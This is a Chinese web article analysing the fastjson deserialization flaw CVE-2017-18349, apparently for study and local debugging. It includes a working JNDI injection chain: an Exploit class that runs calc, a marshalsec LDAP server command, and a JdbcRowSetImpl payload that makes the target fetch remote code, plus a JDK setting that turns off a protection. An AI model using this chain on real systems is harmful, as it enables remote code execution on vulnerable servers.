千家信息网

如何进行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析

发表于:2025-01-21 作者:千家信息网编辑
千家信息网最后更新 2025年01月21日,如何进行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。
千家信息网最后更新 2025年01月21日如何进行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析

如何进行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。

下面将对fastjson<1.2.25反序列漏洞进行漏洞原理分析、本地调试验证等。

(1)影响范围

Fastjson<1.2.25

(2)漏洞成因

@type属性:Fastjson支持在json数据中使用@type属性,该json数据会被反序列化成指定的对象类型,在反序列化过程中fastjson会调用parse(jsonStr)函数尝试对对象的属性进行赋值,若对象的javabean存在属性的setter方法则调用set方法,反之调用get方法。

import java.util.Map;public class User {    private String name;    private Map map;    public String getName() {        System.out.println("getName is running ...");        return name;    }    public void setName(String name) {        System.out.println("setName is running ...");        this.name = name;    }    @Override    public String toString() {        return "User{" +                "name='" + name + '\'' +                '}';    }    public Map getmap() {        try {            Runtime.getRuntime().exec("calc");        } catch (Exception e) {            e.printStackTrace();        }        return map;    }}public class Test {    public static void main(String[] args) {        String json = "{\"@type\":\"bean.User\", \"name\":\"zhangsan\"}";        json = "{\"@type\":\"bean.User\", \"name\":\"zhangsan\",\"map\":{}}";        Object obj = JSON.parse(json);        System.out.println(obj); //输出User{name='zhangsan'},弹出计算器    }}

经过代码追踪,发现属性赋值是在FieldDeserializer.java的setValue函数中,因为map属性不存在set方法,故在setValue函数中fieldInfo.getOnly为true,method为getmap方法

public void setValue(Object object, Object value) {    if (value == null //        && fieldInfo.fieldClass.isPrimitive()) {        return;    }    try {        Method method = fieldInfo.method;        if (method != null) {            if (fieldInfo.getOnly) {//set方法不存在,根据类型调用get方法                if (fieldInfo.fieldClass == AtomicInteger.class) {                    AtomicInteger atomic = (AtomicInteger) method.invoke(object);                    if (atomic != null) {                        atomic.set(((AtomicInteger) value).get());                    }                } else if (fieldInfo.fieldClass == AtomicLong.class) {                    AtomicLong atomic = (AtomicLong) method.invoke(object);                    if (atomic != null) {                        atomic.set(((AtomicLong) value).get());                    }                } else if (fieldInfo.fieldClass == AtomicBoolean.class) {                    AtomicBoolean atomic = (AtomicBoolean) method.invoke(object);                    if (atomic != null) {                        atomic.set(((AtomicBoolean) value).get());                    }                } else if (Map.class.isAssignableFrom(method.getReturnType())) {                    Map map = (Map) method.invoke(object);                    if (map != null) {                        map.putAll((Map) value);                    }                } else {                    Collection collection = (Collection) method.invoke(object);                    if (collection != null) {                        collection.addAll((Collection) value);                    }                }            } else {//set方法存在,调用set方法                method.invoke(object, value);            }            return;        }

调试可以发现调用链如下:

(2)漏洞利用,经过上述分析,满足一下任意条件可进行RCE

找到一个类,存在一个属性,属性类型为AtomicInteger、AtomicLong、AtomicBoolean、Map或Collection其中一种类型,定义了属性的get方法但未定义set方法,在get方法中可构造gadget链达到代码执行目的。

找到一个类,存在一个属性,定义了set方法,在方法中可构造gadget链达到代码执行目的。

找到一个类JdbcRowSetImpl,在变量autoCommit的set函数中,会调用connect函数:

connect函数中,会获取private成员变量dataSourceName,作为lookup函数的参数进行服务获取,这时JNDI注入攻击走起:

步骤1:启动HTTP服务并放置构造函数具有RCE的攻击类,启动LDAP服务

import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.rmi.Remote;import java.rmi.server.UnicastRemoteObject;import java.util.Hashtable;public class Exploit extends UnicastRemoteObject implements ObjectFactory, Remote {    public Exploit() throws IOException {        System.out.println("Exploit");        Runtime.getRuntime().exec("calc");    }        public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {        System.out.println("getObjectInstance");        Runtime.getRuntime().exec("calc");        return null;    }}
python -m SimpleHTTPServer 80java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit 7777

步骤2:触发json解析,实现计算器弹窗

String className = "com.sun.rowset.JdbcRowSetImpl";String dataSourceName = "ldap://127.0.0.1:7777/any";json = "{\"@type\":\"" + className + "\"," + "\"dataSourceName\":\"" + dataSourceName + "\"," + "\"autoCommit\":true" + "}";//JDK 8u191及以后,默认为false,以下为了调试手工改了配置System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");JSON.parse(json);

针对高版本JDK,默认配置限制了远程factory类的下载,实际环境中可以用LDAP+本地反序列化的方式去进行利用。

关于如何进行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注行业资讯频道了解更多相关知识。

0